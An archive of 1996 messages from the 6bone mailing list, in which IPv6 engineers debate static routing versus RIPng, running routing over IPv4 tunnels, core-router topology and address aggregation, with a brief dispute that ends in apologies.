exploit a richer topology and get out of the static configuration game,
then use a dynamic routing protocol, like RIPng.  Hierarchical routing
is what you do when flat routing gets too big -- I don't think that'll
be the case at least for the next 6 months.

Steve




From majordom@ISI.EDU  Wed Jul 31 14:12:50 1996
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To: deering@parc.xerox.com, 6bone@ISI.EDU
Subject: Re: more tunnels and what to do next (fwd) 
In-Reply-To: Your message of "Wed, 31 Jul 1996 14:02:30 PDT."
             <96Jul31.140231pdt."75270"@digit.parc.xerox.com> 
Date: Wed, 31 Jul 1996 18:12:50 EDT
From: Allison Mankin <mankin@ISI.EDU>
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Steve,

> for those more centrally located routers, I think we should exert effort
> to get RIPng deployed and working -- that ought to be relatively
> straightforward, and in my opinion, a better use of time than tryng to
> get agreement on yet another interim addressing plan.
> 

Yes.  Craig Labovitz (MERIT) has developed a RIPv2 for IPv6,
which some sites on this list have been testing.  

> Flat routing with RIPng should suffice for hundreds of routes; beyond that,
> we clearly need hierarchical routing, but that should probably also
> coincide with moving to "real" addresses, rather than the test addresses.
> 
> 
Those quotes around real are very poignant. 
Can we later this year have an interim draft 
for aggregatable addresses?  I would like to see it be
geographic addressing without all the details resolved:  
Instead of Alain's "cores", your design team could
give us interim neutral interconnects, leaving
out for this cut how the "real" ones will manage internal
routing.

Just a wish,

Allison

From majordom@ISI.EDU  Wed Jul 31 14:03:29 1996
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To: rja@cisco.com (Ran Atkinson)
Cc: qv@cs.unh.edu (Quaizar Vohra), 6bone@ISI.EDU
Subject: Re: more tunnels and what to do next (fwd) 
In-Reply-To: Your message of "Wed, 31 Jul 96 14:11:12 PDT."
             <199607312111.OAA24495@puli.cisco.com> 
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Ran,

>  Your tunnel endpoint can contain a "default" (actually 5f00::/8)
>route pointing at NRL, a static route for DEC, a static route
>for Bay, and any routes needed with UNH.   That is entirely
>sufficient to work properly with the 6bone and seems entirely
>managable by hand.

I use this to get to UNH as I direct all traffic through to UNH as
5f00/8.  But I don't want Quaizar doing this for the east coast.  I want
him to have a route to you, one to WIDE, one to Europe, one to NRL, et
al.  We should not have to go through you to get to WIDE that is not a
good enough test.  Or likewise I don't think you should have to go
through us to get to G6 in Europe via UNH.

/jim



From majordom@ISI.EDU  Wed Jul 31 14:07:02 1996
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To: 6bone@isi.edu
Subject: RIPng
Date: Wed, 31 Jul 96 18:07:02 -0400
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We have the following implementations running RIPng to start using
routing:

  1.  Telebit Router
  2.  Digital Router
  3.  Bay Networks Router
  4.  Sun Host       
  5.  Digital Host (Static Routes now)

So lets use them.  UNH will have both Digital and Bay Routers.  There
will also be a Digital IPv6 router at G6 soon.  Telebit is already doing
this I think.

So lets just do it and quit talking about it the code does exist.

/jim

From majordom@ISI.EDU  Wed Jul 31 15:28:57 1996
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To: bound@zk3.dec.com
Cc: 6bone@isi.edu
Subject: Re: RIPng 
In-Reply-To: Your message of "Wed, 31 Jul 1996 18:07:02 EDT."
             <9607312207.AA23783@fwasted.zk3.dec.com> 
Date: Wed, 31 Jul 1996 19:28:57 -0400
From: Masaki Hirabaru <masaki@merit.edu>
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Allison writes,

>> Yes.  Craig Labovitz (MERIT) has developed a RIPv2 for IPv6,
>> which some sites on this list have been testing.  

Craig and I are working on. It works on INRIA freebsd. It need
some modification to make it work on a tunnel, but soon.

Jim writes,

> We have the following implementations running RIPng to start using
> routing:
> 
>   1.  Telebit Router
>   2.  Digital Router
>   3.  Bay Networks Router
>   4.  Sun Host       
>   5.  Digital Host (Static Routes now)
> 
> So lets use them.  UNH will have both Digital and Bay Routers.  There
> will also be a Digital IPv6 router at G6 soon.  Telebit is already doing
> this I think.
> 
> So lets just do it and quit talking about it the code does exist.
> 
> /jim

I want to know how they implement ripng on a tunnel. I think that
the ripng draft doesn't clearly say in case of tunneling. There
is no link-local address and maybe no multicasting depending on
its sit implementation. I'm afraid that we need interoperablity
check on ripng as well. (Have it done at UNH? I'm sorry I'm a
newcomer) If some of 6bone sites can run ripng, I'd like to make
a temporal tunnel to it in order to check interoperablity with
our implementation.

Masaki

From majordom@ISI.EDU  Wed Jul 31 15:18:16 1996
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To: 6bone@ISI.EDU
Subject: Re: RIPng 
In-Reply-To: Your message of "Wed, 31 Jul 96 18:07:02 EDT."
             <9607312207.AA23783@fwasted.zk3.dec.com> 
Date: Wed, 31 Jul 96 19:18:16 -0400
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If we are not going to do RIPng in 1 month then lets use Alain's scheme for 
now at least for the star topology.  

And I am listening more to people who are sending packets on the network
and doing this real time than the theories to get this up and running.
ESPECIALLY IF THEY TELL SOMEONE WORKING THEIR BUTT OFF THAT THEIR IDEA
IS TERRIBLE (they almost got a real flameagram from me on that one).

And I have respect for those who were at the bake-off and ran real code
under test with other implementations than those who did not.  Nov 96 will be
the next bake off hope we have more implementations. 

This is the 6bone list not the IETF list and different rules.  We need to
see what happens via deployment of IPv6 thats the purpose of this work
not to appease any interests other than that. 

Right now we are 60 days ahead of where I thought we would be I think
this thing is going to explode and lots of users will be coming on
quick.  Based on my intelligence in the market.

Even if we do get RIPng working that does not fix the administrative
problems of configured tunnels.  I still think it needs to be automated
simply because its part of transition to IPv6.  We should be thinking
about that and if we come up with an idea do it.  Changing RFC 1897
might cause more pain than its worth, but I don't think we should rule
it out just yet.

/jim


From majordom@ISI.EDU  Wed Jul 31 11:05:06 1996
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To: bound@zk3.dec.com
Cc: 6bone@isi.edu, deering@parc.xerox.com
Subject: Re: RIPng 
In-Reply-To: bound's message of Wed, 31 Jul 96 16:18:16 -0800.
             <9607312318.AA28132@fwasted.zk3.dec.com> 
Date: Wed, 31 Jul 1996 18:05:06 PDT
From: Steve Deering <deering@parc.xerox.com>
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> If we are not going to do RIPng in 1 month then lets use Alain's scheme for 
> now at least for the star topology.  

Note that I was agreeing with Alain regarding the basic topology of this
stage of the 6bone, that is, a mesh of "backbone" or "core" routers, with
individual sites or sub-communities hung off that.  Any problem with
insufficient aggregation should only be in the backbone routers, since the
leaf sites or communities can just use default for all off-site or out-of-
community destinations.  There seems to be some disagreement on the severity
of the backbone problem, but if the folks managing those routers find it
too much of a burden, and can't solve it soon enough by getting RIPng
running, by all means let's aggregate routes as Alain suggested.  Though,
as Pedro pointed out, we don't need to change the addressing format for that.
To aggregate all the European sites, for example, just pick one of the
European AS numbers currently being used in the 6bone and get all European
sites to renumber their nodes under that one AS number -- they'll still
have the IPv4 prefix in there to ensure uniqueness.

> And I am listening more to people who are sending packets on the network
> and doing this real time than the theories to get this up and running.

Are you suggesting that I should shut up?

> And I have respect for those who were at the bake-off and ran real code
> under test with other implementations than those who did not.

Let's all try to maintain respect for each other, OK?  This whole enterprise
is fragile enough as it is without the stress of squabbling among ourselves.

Steve


From majordom@ISI.EDU  Thu Aug  1 19:01:27 1996
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From: qv@cs.unh.edu (Quaizar Vohra)
Message-Id: <199608010301.XAA25567@agate.cs.unh.edu>
Subject: Re: more tunnels and what to do next (fwd)
To: 6bone@isi.edu (6bone m-list)
Date: Wed, 31 Jul 1996 23:01:27 +2000 (EDT)
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Dear qv,
From qv Wed Jul 31 22:54:07 1996
Subject: Re: more tunnels and what to do next (fwd)
To: deering@parc.xerox.com (Steve Deering)
Date: Wed, 31 Jul 1996 22:54:07 +2000 (EDT)
In-Reply-To: <96Jul31.150020pdt."75270"@digit.parc.xerox.com> from "Steve Deering" at Jul 31, 96 03:00:19 pm
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Dear Steve Deering,
>
>> That's what I am currently doing and it works, but as Alain pointed 
>> out that we don't want a star topology. I agree fully with Alain's
>> idea which has always been my chant, i.e. do heirachial routing.
>
>I think that an approximate star topology, i.e., a small mesh of "backbone"
>routers, with individual sites connected as leaves to the nearest one
>or two backbone routers, would be just fine for a while.  If you want to
>exploit a richer topology and get out of the static configuration game,
>then use a dynamic routing protocol, like RIPng.  Hierarchical routing
>is what you do when flat routing gets too big -- I don't think that'll
>be the case at least for the next 6 months.
>
>Steve
>
>

I actually meant almost the same, though stupid enough not to be able to 
express it well in my mails. Currently we have a single central node and
I was against that. I has always been giving an example of UNH-BAY-CLOUD
where there is one connection to the bone and that tunnel endpoint takes
care of routing internally and I wanted a single autonomous number being
used for all three of us and so that we have a common prefix. That's what
I wrote to Craig Metz a few days back. 

Hence we have a few core routers each routing for a big cloud and the cloud 
should have one common prefix (desirable) or a few, not a lots, i.e.
one for each subnet. How the cloud handles internal routing can be its own
policy.

By the way I thought the large addresses were created for heirachial routing
and 6bone was something experimental where we can try this out.

Regards
Quaizar


-- 
------------------------------------------------------
Quaizar Vohra
Inter-Operatibility Lab. (IOL), Univ. of New Hampshire
E-mail : qv@sun4.iol.unh.edu
Phone : (603)-862-0090



-- 
------------------------------------------------------
Quaizar Vohra
Inter-Operatibility Lab. (IOL), Univ. of New Hampshire
E-mail : qv@sun4.iol.unh.edu
Phone : (603)-862-0090


From majordom@ISI.EDU  Wed Jul 31 19:20:08 1996
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To: Steve Deering <deering@parc.xerox.com>
Cc: 6bone@isi.edu
Subject: Re: RIPng 
In-Reply-To: Your message of "Wed, 31 Jul 96 18:05:06 PDT."
             <96Jul31.180507pdt."75270"@digit.parc.xerox.com> 
Date: Wed, 31 Jul 96 23:20:08 -0400
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>> If we are not going to do RIPng in 1 month then lets use Alain's scheme for 
>> now at least for the star topology.  

>Note that I was agreeing with Alain regarding the basic topology of this
>stage of the 6bone, that is, a mesh of "backbone" or "core" routers, with
>individual sites or sub-communities hung off that.  Any problem with
>insufficient aggregation should only be in the backbone routers, since the
>leaf sites or communities can just use default for all off-site or out-of-
>community destinations.  There seems to be some disagreement on the severity
>of the backbone problem, but if the folks managing those routers find it
>too much of a burden, and can't solve it soon enough by getting RIPng
>running, by all means let's aggregate routes as Alain suggested.  Though,
>as Pedro pointed out, we don't need to change the addressing format for that.
>To aggregate all the European sites, for example, just pick one of the
>European AS numbers currently being used in the 6bone and get all European
>sites to renumber their nodes under that one AS number -- they'll still
>have the IPv4 prefix in there to ensure uniqueness.

I think we are in violent agreement.  What I think would be good is to
not force anyone to use a "path" UNH-NRL-WIDE if they can go to
MIT-UNIVARIZONA-WIDE. It should be open to what path is available like
on the Internet today based on some metric of choice.  I also think this
gives us a better system test scenario and hopefully with ripng.  I
think it should be loose, complex, and break so we understand where it
breaks. Too much order in the beginning will cause us to get secure in a
bogus way.  

>> And I am listening more to people who are sending packets on the network
>> and doing this real time than the theories to get this up and running.

>Are you suggesting that I should shut up?

No.  I am running your architecture why would I want that.  No one knows
it better than you.  I am just saying that the discussion of how maybe
to automate the tunnels should be OK.  The reason I brought it up is cause
I saw the problem if I had to do this for 1000 nodes.  In addition it
affects the transition.  When you speak as above its clear, precise, and
99% right.  But thats not what I heard in all the mail.  I heard people
who are not Steve Deering, or Brian Carpenter, or Christian Huitema, et
al. (who I consider people I automatically listen too) tell a person doing
this work and who themselves I don't think are even putting packets on the 
wire that, the other person does not have a clue.  Anyone in that
category should not shut up but I am not going to listen to them. OK.
I can see how you got what you did out of what I said and I am sorry
about that but that was not my intention.

>> And I have respect for those who were at the bake-off and ran real code
>> under test with other implementations than those who did not.

>Let's all try to maintain respect for each other, OK?  This whole enterprise
>is fragile enough as it is without the stress of squabbling among ourselves.

I agree.  But I am not going to just sit here and watch abuse either,
and you know I can't do that even if I wanted to.

/jim


From majordom@ISI.EDU  Thu Aug  1 22:10:22 1996
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To: 6bone@isi.edu
Subject: Things to do
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From: Kazuhiko Yamamoto =?ISO-2022-JP?B?GyRCOzNLXE9CSScbKEI=?=  <kazu@is.aist-nara.ac.jp>
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Now I feel much better than yesterday since many people started
talking about dynamic routing. It would be appreciated if we have the
following rough consensus:

(1) At present we tolerate a pain from static routing and manage
routing information somehow.

(2) The next routing protocol is RIPng. We will test interoperability
for RIPng at the next IOL and then move to RIPng after that if
available.

(3) Before 6bone become so large that RIPng is not enough, we will
move to hierarchical routing. But now is not the time to do so.

(4) Now we should discuss the following issues:

	(a) automating tunnels as Jim said
	(b) clarifying the RIPng spec especially on tunnels as Masaki said

--Kazu

From majordom@ISI.EDU  Wed Jul 31 20:05:56 1996
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To: deering@parc.xerox.com
Cc: 6bone@ISI.EDU (6bone m-list)
Subject: Re: more tunnels and what to do next (fwd) 
In-Reply-To: Your message of "Wed, 31 Jul 96 23:01:27."
             <199608010301.XAA25567@agate.cs.unh.edu> 
Date: Thu, 01 Aug 96 00:05:56 -0400
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Steve,

>By the way I thought the large addresses were created for heirachial routing
>and 6bone was something experimental where we can try this out.

This is what is bugging me.  We have to be able to play and experiment
now as I think IPv6 will be deployed in the market 1 year from now and
on the Internet and on Intranets.  I hope the big ISPs join in but if
they don't lots of small ones will and I think the mgmt consulting firms
too who will be ISPs for Intranets that are fortune 100 companies. We
will have no time like the present to play like this again (unless we
keep an IPv6 research Internet up which is a really good thing to do
IMHO) and I think that is what I and others are wanting to do.  Not cast
anything in concrete or even build or change an existing IPv6 draft. I
am totally convinced IPv6 must be deployed and real products can be
built to gain revenune, market share, and $$$$ for anyone wishing to
move users to IPv6.  So we have about 1 year to get this right on the
6bone.  I realize we don't want to waste our time either.  We have
gotten a lot of good ideas for IPv6 from the implementor meetings and
implementations in general.   I think the 6bone can do that for us too
especially around transition.

/jim


From majordom@ISI.EDU  Wed Jul 31 15:55:22 1996
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To: qv@cs.unh.edu (Quaizar Vohra)
Cc: 6bone@isi.edu, deering@parc.xerox.com
Subject: Re: more tunnels and what to do next (fwd) 
In-Reply-To: qv's message of Tue, 30 Jul 96 19:54:07 -0800.
             <199608010254.WAA25537@agate.cs.unh.edu> 
Date: Wed, 31 Jul 1996 22:55:22 PDT
From: Steve Deering <deering@parc.xerox.com>
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Quaizar,

> I actually meant almost the same, though stupid enough not to be able to 
> express it well in my mails.

No, it's mostly my fault for spouting off without carefully reading the
mail I'm responding to.  Anyway, I glad to see we are all in approximate
agreement, even if the consensus is a bit rough.

> Hence we have a few core routers each routing for a big cloud and the cloud 
> should have one common prefix (desirable) or a few, not a lots, i.e.
> one for each subnet.

You should at least be aggregating multiple subnets from a single site
already.  Is each individual subnet showing up in all the default-free
routers??

> By the way I thought the large addresses were created for heirachial routing
> and 6bone was something experimental where we can try this out.

Absolutely.  I didn't mean to discourage experiments in hierarchical routing.
However, simply aggregating a handful of static routes into a single static
route isn't going to teach us anything new about hierarchical routing, and
it sounded like the main motivation for the proposed aggregation was not
to demonstrate or experiment with hierarchical routing, but simply to
reduce a configuration burden that some other folks think isn't such a
big deal at the moment.  Certainly, as soon as people have implementations
of actual v6 routing protocols that they wish to try out in a hierarchical
fashion on the 6bone, they should be encouraged and helped to do so.
I like Kazu's description of the set of steps to be taken to get to that
stage.

Steve


From majordom@ISI.EDU  Thu Aug  1 12:12:42 1996
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Subject: Re: more tunnels and what to do next (fwd)
To: mankin@ISI.EDU (Allison Mankin)
Date: Thu, 1 Aug 1996 10:12:42 +0200 (MET DST)
From: "Brian Carpenter   CERN-CN" <brian@dxcoms.cern.ch>
Cc: deering@parc.xerox.com, 6bone@ISI.EDU
In-Reply-To: <199607312209.AA26407@metro.isi.edu> from "Allison Mankin" at Jul 31, 96 06:12:50 pm
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Allison,
> 
> > Flat routing with RIPng should suffice for hundreds of routes; beyond that,
> > we clearly need hierarchical routing, but that should probably also
> > coincide with moving to "real" addresses, rather than the test addresses.
> > 
> > 
> Those quotes around real are very poignant. 
> Can we later this year have an interim draft 
> for aggregatable addresses?

Huh?
 draft-ietf-ipngwg-unicast-addr-fmt-04.txt

> I would like to see it be
> geographic addressing without all the details resolved:  

If you have a solution for geographic addressing that works,
unlike all previous attempts, pls write it up.

  Brian

From majordom@ISI.EDU  Thu Aug  1 11:53:47 1996
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To: 6bone@ISI.EDU
Cc: shand@shand.reo.dec.com
Subject: Re: RIPng 
In-Reply-To: Your message of "Wed, 31 Jul 96 19:28:57 EDT."
             <199607312329.TAA11809@home.merit.edu> 
Date: Thu, 01 Aug 96 10:53:47 +0100
From: (Mike Shand REO2 G/C2 DTN:830-4424) <shand@shand.reo.dec.com>
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> I want to know how they implement ripng on a tunnel. I think that
> the ripng draft doesn't clearly say in case of tunneling. There
> is no link-local address and maybe no multicasting depending on
> its sit implementation. I'm afraid that we need interoperablity
> check on ripng as well. (Have it done at UNH? I'm sorry I'm a
> newcomer) If some of 6bone sites can run ripng, I'd like to make
> a temporal tunnel to it in order to check interoperablity with
> our implementation.

Well, we don't at the moment. At first sight it seems pretty trivial.
You just define a pseudo pt-pt interface for the tunnel and run
RIPng (or whatever other routing protocol you fancy) over that 
interface. Presumably you assign a link local address by whatever
means you would normally use for a pt-pt (e.g. PPP) link. The MTU would
have to be set to take account of the additional IPv4 header. There would
be no broadcast/multicasting.

However, thinking about it some more, it starts to get interesting.
Suppose the IPv4 tunnel becomes unidirectional, either because it was
wrongly configured, or because the underlying IPv4 routing becomes
unidirectional. Do we need any special mehanisms to dectect such
misconfiguiration? What other gotchas might be lurking? Do we need to
send router advertisements over such a link which should only have another 
router at the other end? Presumably so, since it could in theory be a host
running RIP in listen mode (say). etc. etc.

I think we can make it work, but it looks like we need either some mods
to RIPng or a separate draft to specify exectly how it is supposed to be done.

Has anyone else actually got this working?

	Mike

From majordom@ISI.EDU  Thu Aug  1 12:59:01 1996
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Date: Thu, 1 Aug 1996 11:59:01 +0100
Message-Id: <199608011059.LAA11527@oberon.di.fc.ul.pt>
From: Pedro Roque Marques <roque@di.fc.ul.pt>
To: <bound@zk3.dec.com>
Cc: 6bone@ISI.EDU
Subject: Re: RIPng 
In-Reply-To: <9607312318.AA28132@fwasted.zk3.dec.com>
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	<9607312318.AA28132@fwasted.zk3.dec.com>
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>>>>> "Jim" == bound  <bound@zk3.dec.com> writes:


    Jim> And I am listening more to people who are sending packets on
    Jim> the network and doing this real time than the theories to get
    Jim> this up and running.  ESPECIALLY IF THEY TELL SOMEONE WORKING
    Jim> THEIR BUTT OFF THAT THEIR IDEA IS TERRIBLE (they almost got a
    Jim> real flameagram from me on that one).

You have every right to flame, Jim. Although i didn't ment the
interpretation that the phrase got i recognise that was a very bad
choice of words and i would like give you my public apologies for
that. I ask you to consider that for a non native english speaker it
is sometimes hard to know the intensity of an expression.

I still think that it is not the way to go. Please disregard the first
sentence in that mail and consider the rest of it.

    Jim> And I have respect for those who were at the bake-off and ran
    Jim> real code under test with other implementations than those
    Jim> who did not.

My stuff is working, although i constantly find new problems with it
every day. As we have no money to participate in the IOL consortium
the only testing we can do is via the 6bone. Everybody has been very
cooperative there and we're making good progress.

Basically i think people are discussing problems that there is no need
to solve now. I believe we should concentrate on getting the basic
working and then build the rest of the building. I only have one
implementation other than my own here, so i cannot comment from first
hand knowledge, but the comments i hear is that most implementations
are still on very raw state.

To give you the example i know off, it is not very interesstening to
have a machine capable of RIPng but not capable of configured
tunneling, that can't delete routes, has random source address
selection and so on. I'm not complaining, they do a better job than i
do in some aspects ...

regards,
  Pedro.

From majordom@ISI.EDU  Thu Aug  1 03:08:57 1996
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From: "Alain Durand" <Alain.Durand@imag.fr>
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Date: Thu, 1 Aug 1996 01:08:57 +0200
In-Reply-To: Pedro Roque Marques <roque@di.fc.ul.pt>
        "Re: RIPng" (Aug  1, 11:59am)
References: <9607312207.AA23783@fwasted.zk3.dec.com> 
	<9607312318.AA28132@fwasted.zk3.dec.com> 
	<199608011059.LAA11527@oberon.di.fc.ul.pt>
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To: Pedro Roque Marques <roque@di.fc.ul.pt>
Subject: RIPng & what to do next.
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On Aug 1, 11:59am, Pedro Roque Marques wrote:
> Subject: Re: RIPng
> Basically i think people are discussing problems that there is no need
> to solve now. I believe we should concentrate on getting the basic
> working and then build the rest of the building. I only have one
> implementation other than my own here, so i cannot comment from first
> hand knowledge, but the comments i hear is that most implementations
> are still on very raw state.
>
> To give you the example i know off, it is not very interesstening to
> have a machine capable of RIPng but not capable of configured
> tunneling, that can't delete routes, has random source address
> selection and so on. I'm not complaining, they do a better job than i


Let me say I disagree on this particular point.
The IPv6 network I run at IMAG already has two separates networks and will
grow up to 5 or 6 by the end of August with different routers.
In those nets, I use native IPv6 other ethernet. I need RIPng code now.
And to connect this to the G6-bone or the 6-bone, I only need one
tunneling machine that I already have.


	- Alain.

From majordom@ISI.EDU  Thu Aug  1 03:15:28 1996
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I have the feeling that we reach a rough consensus on the 6-bone topology,
i.e. some core/backbone nodes and some clouds connected to them.

In the next diagram :
	- a net is native IPv6 link
        - an island is a collection of ipv6 nets
	- a Core is core/backbone ipv6 node.
        - v6 means native IPv6
        - v4 means IPv6 encapsulated in IPv4



        v6         v6       v4
net132----island13----Core1----Core2
                        |  \  /  |
                        |   \/   |                   v6
                        |   /\   |                  ___ net475
                        |  /  \  |   v6            |
                      Core3----Core4----island47---|
                                           |       |___ net473
                                           |
                                         v4|            v6
                                           |__island48_____net484


Core4 is very close to the current situation of the G6-bone
and I believe to the other nodes of the 6-bone.

The question now is how to route packets from net475 to net132
and from net473 to net484

In my opinion, those are two different problems.
It's really interior routing versus exterior routing.
In the G6 bone, we plan to use RIPng inside islands. Maybe with some
manual configuration, we can extend it to route among our islands.

I have the feeling that doing RIPng to announce every single route
other the global 6-bone will simply not work. We need to agregate.
Doing dynamic external routing seems to me a bit premature. We can
still do a good job wit static routes if we take some precautions.

If there could be one common prefix to everything behind Core X,
then this will be very easy to do staticaly, and things could grow.
If they are many prefixes, it's going to be more difficult.
What I'd like to have on Core routers will be a simple external
routing tables like:
	5f-prefix1::/prefixlen1  -> Core1
	5f-prefix2::/prefixlen2  -> Core2
	5f-prefix3::/prefixlen1  -> Core3
	5f-prefix4::/prefixlen2  -> Core4
	...

To maintain those routing tables, a simple registry will be enough.

I see a little problem with RFC1897 address format, mainly because not all
islands behind Core X will have the same ISP, thus not the same prefix.

If we want to stay close to RFC1897, I see 3 solutions:
	a) use a special AS number for all Core X different from the ISP ones
	b) use the AS number of Core X ISP for all nets behind Core X
	c) have a Core node per AS number participating to the 6-bone.

If we agree an a scheme like this one, things could grow smoothly & quickly.
We could test both dynamic routing & hierarchical routing.

	- Alain.



From majordom@ISI.EDU  Thu Aug  1 16:01:01 1996
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Date: Thu, 1 Aug 1996 15:01:01 +0100
Message-Id: <199608011401.PAA11715@oberon.di.fc.ul.pt>
From: Pedro Roque Marques <roque@di.fc.ul.pt>
To: "Alain Durand" <Alain.Durand@imag.fr>
Cc: Pedro Roque Marques <roque@di.fc.ul.pt>, 6bone@ISI.EDU
Subject: RIPng & what to do next.
In-Reply-To: <960801010857.ZM11096@rama.imag.fr>
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	<9607312318.AA28132@fwasted.zk3.dec.com>
	<199608011059.LAA11527@oberon.di.fc.ul.pt>
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>>>>> "Alain" == Alain Durand <Alain.Durand@imag.fr> writes:

    >> 
    >> To give you the example i know off, it is not very
    >> interesstening to have a machine capable of RIPng but not
    >> capable of configured tunneling, that can't delete routes, has
    >> random source address selection and so on. I'm not complaining,
    >> they do a better job than i


    Alain> Let me say I disagree on this particular point.  The IPv6
    Alain> network I run at IMAG already has two separates networks
    Alain> and will grow up to 5 or 6 by the end of August with
    Alain> different routers.  In those nets, I use native IPv6 other
    Alain> ethernet. I need RIPng code now.  And to connect this to
    Alain> the G6-bone or the 6-bone, I only need one tunneling
    Alain> machine that I already have.

I think i'm not making myself very clear.

On the particular example i was giving the machine picks, 50% of the
times, a link local source address when talking to a host on another
ethernet via a router. Even if you have the best routing solution in
the world that machine is not going to be able to communicate much.

This is just one particular example.

I don't disagree when you say we need routing protocols. I disagree
when people suggest that we should stop the show until we get routing
protocols because, with the current state of the art, machines crash all
over when you try something less common.

Do we agree on this ? I would think so.

If people want to start coding routing deamons i'll try to do anything
i can do to help. This includes coding routing sockets which is
something i still don't have.

regards,
  Pedro.

From majordom@ISI.EDU  Thu Aug  1 01:51:24 1996
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Date: Thu, 1 Aug 1996 08:51:24 -0700
From: Dino Farinacci <dino@cisco.com>
Message-Id: <199608011551.IAA22239@stilton.cisco.com>
To: bound@zk3.dec.com
Cc: rja@cisco.com, qv@cs.unh.edu, 6bone@ISI.EDU
In-Reply-To: <9607312203.AA23604@fwasted.zk3.dec.com> (bound@zk3.dec.com)
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>> I use this to get to UNH as I direct all traffic through to UNH as
>> 5f00/8.  But I don't want Quaizar doing this for the east coast.  I want
>> him to have a route to you, one to WIDE, one to Europe, one to NRL, et
>> al.  We should not have to go through you to get to WIDE that is not a
>> good enough test.  Or likewise I don't think you should have to go
>> through us to get to G6 in Europe via UNH.

    I disagree. This is how the MBONE got messed up. 

Dino

From majordom@ISI.EDU  Thu Aug  1 01:34:14 1996
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To: "Brian Carpenter CERN-CN" <brian@dxcoms.cern.ch>
Cc: deering@parc.xerox.com, 6bone@isi.edu
Subject: Re: more tunnels and what to do next (fwd) 
In-Reply-To: brian's message of Thu, 01 Aug 96 01:12:42 -0800.
             <9608010812.AA09191@dxcoms.cern.ch> 
Date: Thu, 1 Aug 1996 08:34:14 PDT
From: Steve Deering <deering@parc.xerox.com>
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Brian,

> If you have a solution for geographic addressing that works,
> unlike all previous attempts, pls write it up.

ftp://parcftp.xerox.com/pub/net-research/metro-addr-slides-jul95.ps

OK, so that's not the kind of write-up you were asking for.  (Allison
was also saying "pls write it up".)  But I was unaware of any proof that
it doesn't work.

Exactly which failed "attempts" at geographic addressing are you referring
to?

(Note: there are [at least] two distinct classes of "geographic" addressing
that have been proposed: (1) addressing by latitude and longitude, e.g.,
the recent GPS addressing draft, and (2) "exchange-based" addressing using
regional provider interconnects, of which metro-based addressing is one
specific example.  They have significantly different properties, so we
need to be careful to disambiguate which we are talking about.  For example,
lat/long addressing would certainly exacerbate, rather than relieve, the
routing scaling problem; the same is not true of exchange-based addressing.)

Steve


From majordom@ISI.EDU  Thu Aug  1 20:01:47 1996
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Subject: Re: more tunnels and what to do next (fwd)
To: 6bone@ISI.EDU
Date: Thu, 1 Aug 1996 18:01:47 +0200 (MET DST)
From: "Brian Carpenter   CERN-CN" <brian@dxcoms.cern.ch>
In-Reply-To: <96Aug1.083415pdt."75270"@digit.parc.xerox.com> from "Steve Deering" at Aug 1, 96 08:34:14 am
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Steve,

We should take this over to some other list, although
I'm not sure which one. IPng? I'm certainly not talking about GPS,
but about your Jul 95 presentation or the old Simpson draft on MIXen.
But let's not waste 6bone airtime on it.

  Brian

>--------- Text sent by Steve Deering follows:
> 
> Brian,
> 
> > If you have a solution for geographic addressing that works,
> > unlike all previous attempts, pls write it up.
> 
> ftp://parcftp.xerox.com/pub/net-research/metro-addr-slides-jul95.ps
> 
> OK, so that's not the kind of write-up you were asking for.  (Allison
> was also saying "pls write it up".)  But I was unaware of any proof that
> it doesn't work.
> 
> Exactly which failed "attempts" at geographic addressing are you referring
> to?
> 
> (Note: there are [at least] two distinct classes of "geographic" addressing
> that have been proposed: (1) addressing by latitude and longitude, e.g.,
> the recent GPS addressing draft, and (2) "exchange-based" addressing using
> regional provider interconnects, of which metro-based addressing is one
> specific example.  They have significantly different properties, so we
> need to be careful to disambiguate which we are talking about.  For example,
> lat/long addressing would certainly exacerbate, rather than relieve, the
> routing scaling problem; the same is not true of exchange-based addressing.)
> 
> Steve
> 


From majordom@ISI.EDU  Thu Aug  1 06:54:07 1996
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To: Pedro Roque Marques <roque@di.fc.ul.pt>
Cc: <bound@zk3.dec.com>, 6bone@ISI.EDU
Subject: Re: RIPng 
In-Reply-To: Your message of "Thu, 01 Aug 96 11:59:01 BST."
             <199608011059.LAA11527@oberon.di.fc.ul.pt> 
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Cool.  Good point about the language thats my error and I apologize for
that.

>Basically i think people are discussing problems that there is no need
>to solve now. I believe we should concentrate on getting the basic
>working and then build the rest of the building. I only have one
>implementation other than my own here, so i cannot comment from first
>hand knowledge, but the comments i hear is that most implementations
>are still on very raw state.

Lets be careful on the 6bone.  "raw state" to get on the 6bone and do
Internet.  Several of the implementations are very mature using IPv6 and
all the specs associated with this new protocol.  I know we have over 40
users banging on our implementation now.  Yes its raw for the 6bone work
but not raw.  Don't forget some of us have stacks that have been
maturing for 3 years since sip 8byte proposal and have learned a lot of
engineering knowledge for the kernel, transition, and the application
interface.  But the 6bone is raw but I think we can evolve quickly and
make it medium (as opposed to well done).

As far as you not getting to the bake-offs.  UNH does have a policy if
you are a pure academic environment they can arrange for you to
participate without joining the consortia.  The other good news I have for
you is I talked to our Director of Alpha Linux at Digital and he is
going to help me get you an Alpha in Lisbon if you want it?  
Also I am willing to put your machine up and test it for you at the next
bake-off to as I think Linux is real important to IPv6 with the user
base I see evolving.  As I know travel for some is also too expensive.

>To give you the example i know off, it is not very interesstening to
>have a machine capable of RIPng but not capable of configured
>tunneling, that can't delete routes, has random source address
>selection and so on. I'm not complaining, they do a better job than i
>do in some aspects ...

Again please be careful with the words interesting.  If we have routers
that can run pure IPv6 and need to get tunneling working I still think
its interesting that engineers built IPv6 on routers already.  I agree
they need to now do tunnels rip-to-rip a.s.a.p. but they are still
interesting.  For example I want to build a pure IPv6 subnet behind our
Internet tunnel and on our host take IPv6 packets and inject them onto
an IPv6 link via an IPv6 router where the nodes on that link only speak
IPv6 (IPv4 is there but for testing just use IPv6).  That to me is
interesting.  I also hope (big hope) to test our anycast spec on this
subnet to as the in_pcb changes I checked out are minimal and the
transport ones too at least for prototyping anyway.  

/jim


From majordom@ISI.EDU  Thu Aug  1 08:28:38 1996
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To: 6bone@isi.edu
Subject: 6bone DNS Servers
Date: Thu, 01 Aug 96 12:28:38 -0400
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Hi,

I will be setting up our DNS Server for our AAAA records tomorrow for
our node(s).  Who can I feed our DNS records for the 6bone?

Geert? Bill Manning?

thanks
/jim

From majordom@ISI.EDU  Fri Aug  2 00:48:52 1996
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To: 6bone@isi.edu
Subject: Re: 6bone registry
From: Geert Jan de Groot <GeertJan.deGroot@ripe.net>
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Date: Thu, 01 Aug 1996 22:48:52 +0200
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I'm sorry to disrupt the current discussion on the 6bone list,
but I have been trying to send this to the list several times.
It looks like majordomo doesn't like the email-from-mailinglist
setup I'm using, and I hope it works now.


Geert Jan

---

Hi,

